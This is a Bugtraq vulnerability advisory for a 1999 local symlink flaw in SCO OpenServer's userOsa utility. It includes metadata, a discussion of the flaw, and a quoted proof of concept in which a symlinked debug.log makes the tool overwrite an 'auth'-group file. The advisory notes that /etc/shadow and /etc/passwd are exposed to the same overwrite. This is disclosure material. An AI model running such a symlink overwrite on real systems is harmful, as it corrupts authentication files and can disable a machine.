SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

BID:701

Info

SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

Bugtraq ID: 701
Class: Origin Validation Error
CVE:
Remote: No
Local: Yes
Published: Oct 11 1999 12:00AM
Updated: Oct 11 1999 12:00AM
Credit: This vulnerability was posted to the Bugtraq mailing list by "Brock Tellier" <[email protected]> on Mon, 11 Oct 1999.
Vulnerable: SCO Open Server 5.0.5
SCO Open Server 5.0.4
SCO Open Server 5.0.3
SCO Open Server 5.0.2
SCO Open Server 5.0.1
SCO Open Server 5.0
Not Vulnerable:

Discussion

SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

Under certain versions of SCO OpenServer there exists a symlink vulnerability which can be exploited to overwrite any file which is group writable by the 'auth' group. The problem in particular is in the the /etc/sysadm.d/bin/userOsa executable. When given garbage output the program will write out a debug log. However, the program does not check to see if it overwriting a currently existing file nor wether it is following a symlink. Therefore is it possible to overwrite files with debug data which are both in the 'auth' group and are writable by the same group. Both /etc/shadow & /etc/passwd fall into this category. If such an attack were launched against these files the system would be rendered unusable.

Exploit / POC

SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

As per Brock Tellier's original posting to Bugtraq:



scohack:/tmp$ ln -s /etc/shadow.old debug.log
scohack:/tmp$ /etc/sysadm.d/bin/userOsa
bah
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect
Request: bah}}}
Failed to listen to client
Failure in making connection to OSA.
scohack:/tmp$

-----

BEFORE EXPLOIT:
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old

AFTER EXPLOIT (note the file size):
scohack:/# l /etc/shadow.old
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old

scohack:/# cat /etc/shadow.old
>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>
<<<
SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ
{Invalid Connect Request: bah}}})

scohack:/#

Solution / Fix

SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

Solution:
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References

SCO OpenServer 5.0.5 'userOsa' symlink Vulnerability

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